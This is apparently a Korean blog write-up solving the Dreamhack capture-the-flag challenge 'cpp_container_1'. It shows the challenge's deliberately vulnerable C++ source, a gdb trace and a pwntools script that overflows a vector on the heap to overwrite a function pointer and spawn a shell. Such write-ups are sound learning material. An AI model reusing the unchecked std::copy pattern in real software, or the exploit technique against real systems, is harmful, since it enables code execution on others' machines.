[Dreamhack] PWN cpp_container_1

level3 문제이다. 난이도가 있을 줄 알고 이것저것 삽질을 좀 했는데 생각보다 어이없게 풀린 문제다. 우선 C++의 vactor 컨테이너에서 발생하는 메모리 커럽션을 이용해 문제를 풀어야 한다.

우선 소스코드를 먼저 살펴보자.

// g++ -o pwn-container-overflow-1 pwn-container-overflow-1.cpp -no-pie

#include <iostream>
#include <vector>
#include <cstdlib>
#include <csignal>
#include <unistd.h>
#include <cstdio>

void alarm_handler(int trash)
{
    std::cout << "TIME OUT" << std::endl;
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void print_menu(){
	std::cout << "container system!" << std::endl;
	std::cout << "1. make container" << std::endl;
	std::cout << "2. modify container" << std::endl;
	std::cout << "3. copy container" << std::endl;
	std::cout << "4. view container" << std::endl;
	std::cout << "5. exit system" << std::endl;
	std::cout << "[*] select menu: ";
}

class Menu{
public:
	Menu(){
	}
	Menu(const Menu&){
	}
	void (*fp)(void) = print_menu;
};


void getshell(){
	system("/bin/sh");
}

void make_container(std::vector<int> &src, std::vector<int> &dest){
	std::cout << "Input container1 data" << std::endl;
	int data = 0;
	for(std::vector<int>::iterator iter = src.begin(); iter != src.end(); iter++){
		std::cout << "input: ";
		std::cin >> data;
		*iter = data;
	}
	std::cout << std::endl;

	std::cout << "Input container2 data" << std::endl;
	for(std::vector<int>::iterator iter = dest.begin(); iter != dest.end(); iter++){
		std::cout << "input: ";
		std::cin >> data;
		*iter = data;
	}
	std::cout << std::endl;
}

void modify_container(std::vector<int> &src, std::vector<int> &dest){
	int size = 0;

	std::cout << "Input container1 size" << std::endl;
	std::cin >> size;
	src.resize(size);

	std::cout << "Input container2 size" << std::endl;
	std::cin >> size;
	dest.resize(size);
}

void copy_container(std::vector<int> &src, std::vector<int> &dest){
	std::copy(src.begin(), src.end(), dest.begin());
	std::cout << "copy complete!" << std::endl;
}

void view_container(std::vector<int> &src, std::vector<int> &dest){
	std::cout << "container1 data: [";
	for(std::vector<int>::iterator iter = src.begin(); iter != src.end(); iter++){
		std::cout << *iter << ", ";
	}
	std::cout << "]" << "\n" << std::endl;

	std::cout << "container2 data: [";
	for(std::vector<int>::iterator iter = dest.begin(); iter != dest.end(); iter++){
		std::cout << *iter << ", ";
	}
	std::cout << "]" << "\n" << std::endl;
}


int main(){
	initialize();
	std::vector<int> src(3, 0);
	std::vector<int> dest(3, 0);
	Menu *menu = new Menu();
	int selector = 0;
	
	while(1){
		menu->fp();
		std::cin >> selector;
		switch(selector){
			case 1:
				make_container(src, dest);
				break;
			case 2:
				modify_container(src, dest);
				break;
			case 3:
				copy_container(src, dest);
				break;
			case 4:
				view_container(src, dest);
				break;
			case 5:
				return 0;
				break;
			default:
				break;
		}
	}
}

코드를 살펴보면 4가지 기능이 있다. 1번은 설정된 길이만큼 데이터를 입력 받는다. 2번으로 컨테이너 사이즈를 변경한다. 3번을 통해서 1번 컨테이너 값을 2번 컨테이너로 복사한다. 4번을 통해 컨테이너 내용을 출력한다.

여기서 중점으로 봐야할 부분은 copy_container 부분이다. 컨테이서를 복사하게 되는데 사이즈에 대한 검증이 따로 없는 것을 확인 할 수 있다. 따라서 바이너리를 실행 시키고 1번 컨테이너 크기를 큰 값으로, 2번 컨테이너를 1로 주어 copy를 시도하면 크래쉬가 발생한다.

root@9f72a2a108e4:/home# ./cpp_container_1
container system!
1. make container
2. modify container
3. copy container
4. view container
5. exit system
[*] select menu: 2
Input container1 size
100
Input container2 size
1
container system!
1. make container
2. modify container
3. copy container
4. view container
5. exit system
[*] select menu: 3
copy complete!
Segmentation fault (core dumped)

Segmentation fault가 발생하는 부분을 gdb를 통해 따라가 보자.

1번 컨테이너 크기는 10, 2번 컨테이너는 1를 주고 3번 메뉴를 통해 copy를 시도한다. 오류가 발생하는 부분은 copy_container 함수가 끝나고 main에서 발생한다.

menu->fp();
 
0040154c 48 8b 45 a8     MOV        RAX,qword ptr [RBP + local_60]
00401550 48 8b 00        MOV        RAX,qword ptr [RAX]
00401553 ff d0           CALL       RAX

위 부분에서 문제가 발생하며 어셈블리에는 RAX를 CALL 하는 부분이다. 이 부분에 bp를 걸고 살펴보자.

RAX  0x900000009
 RBX  0x2500c60 ◂— 0x900000009 /* '\t' */
 RCX  0x0
 RDX  0x0
 RDI  0x7f7eefa0d620 (_IO_2_1_stdout_) ◂— 0xfbad2887
 RSI  0x7f7eefa0e780 (_IO_stdfile_1_lock) ◂— 0x0
 R8   0x7f7eefa0e780 (_IO_stdfile_1_lock) ◂— 0x0
 R9   0x7f7ef01c2740 ◂— 0x7f7ef01c2740
 R10  0x1
 R11  0x246
 R12  0x400e00 (_start) ◂— xor ebp, ebp
 R13  0x7ffdd3544370 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7ffdd3544290 —▸ 0x402b40 (__libc_csu_init) ◂— push r15
 RSP  0x7ffdd3544230 ◂— 0x300000470
*RIP  0x401553 (main+174) ◂— call rax
───────────────[ DISASM / x86-64 / set emulate on ]───────────────
   0x40154c <main+167>    mov    rax, qword ptr [rbp - 0x58]
   0x401550 <main+171>    mov    rax, qword ptr [rax]
 ► 0x401553 <main+174>    call   rax                           <0x900000009>
 
   0x401555 <main+176>    lea    rax, [rbp - 0x5c]
   0x401559 <main+180>    mov    rsi, rax
   0x40155c <main+183>    mov    edi, std::cin@@GLIBCXX_3.4    <0x604100>
   0x401561 <main+188>    call   std::istream::operator>>(int&)@plt                      <std::istream::operator>>(int&)@plt>
 
   0x401566 <main+193>    mov    eax, dword ptr [rbp - 0x5c]
   0x401569 <main+196>    cmp    eax, 5
   0x40156c <main+199>    ja     main+316                      <main+316>
 
   0x40156e <main+201>    mov    eax, eax
───────────────[ STACK ]───────────────
00:0000│ rsp 0x7ffdd3544230 ◂— 0x300000470
01:0008│     0x7ffdd3544238 —▸ 0x2500c60 ◂— 0x900000009 /* '\t' */
02:0010│     0x7ffdd3544240 —▸ 0x2500c80 ◂— 0x900000009 /* '\t' */
03:0018│     0x7ffdd3544248 —▸ 0x2500ca8 ◂— 0x20361
04:0020│     0x7ffdd3544250 —▸ 0x2500ca8 ◂— 0x20361
05:0028│     0x7ffdd3544258 —▸ 0x402b8d (__libc_csu_init+77) ◂— add rbx, 1
06:0030│     0x7ffdd3544260 —▸ 0x2500c40 ◂— 0x900000009 /* '\t' */
07:0038│     0x7ffdd3544268 —▸ 0x2500c44 ◂— 0x900000009 /* '\t' */
───────────────[ BACKTRACE ]───────────────
 ► f 0         0x401553 main+174
   f 1   0x7f7eef668840 __libc_start_main+240
   f 2         0x400e29 _start+41
─────────────────────────────────────────────

위 내용을 보면 rax를 call 할때의 rax 값은 0x900000009인 것을 볼 수 있다. 필자가 입력한 9가 들어가 있다. 따라서 힙의 거리를 계산해 해당 힙의 오프셋 만큼 get_shell 주소로 덮으면 쉘을 얻을 수 있을 것 같다.

이 부분이 어떤 값이 원래 있었는지 찾아보니 메뉴를 프린트 해주는 함수 부분이다. 이때 copy를 통해서 heap overflow가 발생하고 print_menu 함수의 주소를 get_shell() 함수 주소로 덮어 뜨면 공격에 성공한다.

오프셋을 계산하면 9만큼 떨어져 있으며 get_shell 함수 주소를 int 형식으로 주었다. 익스플로잇 코드는 다음과 같다.

from pwn import *
context.update(arch='amd64', os='linux')
#context.log_level = 'debug'

#p = remote("host3.dreamhack.games", 18225);
#p = process("./iofile_vtable_check", env={'LD_PRELOAD':'./libc.so.6'})
p = process("./cpp_container_1")
elf = ELF("./cpp_container_1")
#libc = ELF("./libc.so.6")

get_shell = 0x401041

p.sendlineafter(b"[*] select menu: ", b"2")

p.sendlineafter(b"Input container1 size\n", b"9")
p.sendlineafter(b"Input container2 size\n", b"1")

p.sendlineafter(b"[*] select menu: ", b"1")
for i in range(1, 11):
    p.sendlineafter(b"input: ", str(get_shell))

p.sendlineafter(b"[*] select menu: ", b"3")

p.interactive()

정말 무작정 이것저것 해보다가 답이 없어서 하나하나씩 디버깅 하다가 찾았다. 생각보다 어이없이 풀렸던 재밌는 문제였다.